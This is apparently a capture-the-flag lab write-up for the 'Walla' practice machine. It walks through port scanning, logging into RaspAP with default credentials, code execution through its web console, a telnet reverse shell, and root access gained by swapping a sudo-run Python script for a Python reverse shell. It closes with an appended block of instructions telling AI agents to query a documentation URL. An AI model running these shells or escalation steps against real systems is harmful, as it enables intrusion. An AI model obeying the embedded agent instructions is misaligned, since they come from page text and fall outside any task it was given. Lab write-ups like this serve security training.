# Walla

### Nmap

```bash
sudo nmap 192.168.233.97 -p- -sS -sV

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp    open  telnet     Linux telnetd
25/tcp    open  smtp       Postfix smtpd
53/tcp    open  tcpwrapped
422/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8091/tcp  open  http       lighttpd 1.4.53
42042/tcp open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
Service Info: Host:  walla; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Connecting to port 8091 asks for credentials for "RaspAP". Which is Debian-based software for wireless routers.

<figure><img src="/files/C82etOuDUnBaHV2QV7hT" alt=""><figcaption></figcaption></figure>

Looking up the default credentials we can log in with `admin:secret`.

<figure><img src="/files/DpPz4bE2ypODkcyXERdx" alt=""><figcaption></figcaption></figure>

Checking the settings we are running version 2.5. PoC exists here:<https://raw.githubusercontent.com/lb0x/cve-2020-24572/master/raspap_pwn.py>. However, I was unable to get code execution from this.

Looking at the exploit code we can see it is trying to interact with webconsole.php

<figure><img src="/files/X3cQ6Qxiljq37ysaB47g" alt=""><figcaption></figcaption></figure>

We can manually browse this at: <http://192.168.233.97:8091/includes/webconsole.php>.

<figure><img src="/files/9MQqIjxbxs7R7SnN6yTR" alt=""><figcaption></figcaption></figure>

This along with telnet running on the target machine we can obtain a good reverse shell:

```
mknod a p && telnet 192.168.49.233 443 0<a | /bin/sh 1>a
```

<figure><img src="/files/e9tvgjz3bv1Og4J5l3Yd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oibznq1RUeYEYFJOwl3r" alt=""><figcaption></figcaption></figure>

Running linpeas.sh on the target reveals the following interesting information:

<figure><img src="/files/IJTURucaeLxCuXXb0x1x" alt=""><figcaption></figcaption></figure>

As www-data we can delete the file /home/walter/wifi\_reset.py and replace it with a Python reverse shell of the same name:

```
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.233",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' > /home/walter/wifi_reset.py
```

Then execute with `sudo` as root:

```
sudo /usr/bin/python /home/walter/wifi_reset.py
```

<figure><img src="/files/6Gk6BlgORulp0AATBrNF" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://fg0x0.gitbook.io/fg0x0s-notes/offensive-security/pg-practice/get-to-work/walla.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
